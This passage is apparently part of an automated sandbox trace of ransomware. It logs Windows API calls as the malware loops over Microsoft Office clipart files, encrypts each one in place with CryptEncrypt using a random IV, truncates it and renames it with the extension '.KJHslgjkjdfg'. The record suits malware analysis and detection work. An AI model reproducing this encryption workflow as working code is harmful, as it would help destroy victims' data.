(hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.181] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19ca, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19ca, lpOverlapped=0x0) returned 1 [0191.182] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19d0) returned 1 [0191.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.182] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19d0, lpOverlapped=0x0) returned 1 [0191.183] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.183] SetEndOfFile (hFile=0x114) returned 1 [0191.185] GetProcessHeap () returned 0x2a0000 [0191.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.185] GetProcessHeap () returned 0x2a0000 [0191.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.kjhslgjkjdfg")) returned 1 [0191.188] CloseHandle (hObject=0x114) returned 1 [0191.188] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6d32800, ftCreationTime.dwHighDateTime=0x1bd4c4e, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6d32800, ftLastWriteTime.dwHighDateTime=0x1bd4c4e, nFileSizeHigh=0x0, nFileSizeLow=0x5fec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02617_.WMF", cAlternateFileName="")) returned 1 [0191.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.189] GetProcessHeap () returned 0x2a0000 [0191.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.189] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.192] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.192] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.192] GetProcessHeap () returned 0x2a0000 [0191.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.192] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.192] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.192] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.192] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.192] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.193] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.193] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.193] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.193] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5fec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5fec, lpOverlapped=0x0) returned 1 [0191.199] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5ff0, dwBufLen=0x5ff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5ff0) returned 1 [0191.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.199] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5ff0, lpOverlapped=0x0) returned 1 [0191.200] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x60c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.200] SetEndOfFile (hFile=0x114) returned 1 [0191.203] GetProcessHeap () returned 0x2a0000 [0191.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.203] GetProcessHeap () returned 0x2a0000 [0191.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.kjhslgjkjdfg")) returned 1 [0191.206] CloseHandle (hObject=0x114) returned 1 [0191.206] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0191.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.208] GetProcessHeap () returned 0x2a0000 [0191.208] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.208] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0191.211] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.211] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.211] GetProcessHeap () returned 0x2a0000 [0191.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.211] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.211] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.211] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.211] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.211] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.211] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.212] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.212] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.212] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7f4e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7f4e, lpOverlapped=0x0) returned 1 [0191.213] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f50, dwBufLen=0x7f50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f50) returned 1 [0191.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.214] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7f50, lpOverlapped=0x0) returned 1 [0191.214] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.214] SetEndOfFile (hFile=0x114) returned 1 [0191.217] GetProcessHeap () returned 0x2a0000 [0191.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.217] GetProcessHeap () returned 0x2a0000 [0191.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.kjhslgjkjdfg")) returned 1 [0191.220] CloseHandle (hObject=0x114) returned 1 [0191.220] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1 [0191.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.222] GetProcessHeap () returned 0x2a0000 [0191.222] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.222] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.222] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.222] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.239] GetProcessHeap () returned 0x2a0000 [0191.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.239] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.239] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.239] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.240] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.240] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.240] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.240] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x430c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x430c, lpOverlapped=0x0) returned 1 [0191.241] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4310, dwBufLen=0x4310 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4310) returned 1 [0191.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.242] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4310, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4310, lpOverlapped=0x0) returned 1 [0191.242] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x43e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.242] SetEndOfFile (hFile=0x114) returned 1 [0191.244] GetProcessHeap () returned 0x2a0000 [0191.244] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.244] GetProcessHeap () returned 0x2a0000 [0191.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.kjhslgjkjdfg")) returned 1 [0191.247] CloseHandle (hObject=0x114) returned 1 [0191.247] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1 [0191.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.249] GetProcessHeap () returned 0x2a0000 [0191.249] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.249] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.249] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.249] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.249] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.249] GetProcessHeap () returned 0x2a0000 [0191.249] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.249] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.249] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.249] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.252] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.252] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.252] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.252] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.253] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.253] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.253] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b70, lpOverlapped=0x0) returned 1 [0191.254] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b70, dwBufLen=0x5b70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b70) returned 1 [0191.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.254] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b70, lpOverlapped=0x0) returned 1 [0191.255] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.255] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.255] SetEndOfFile (hFile=0x114) returned 1 [0191.257] GetProcessHeap () returned 0x2a0000 [0191.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.257] GetProcessHeap () returned 0x2a0000 [0191.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 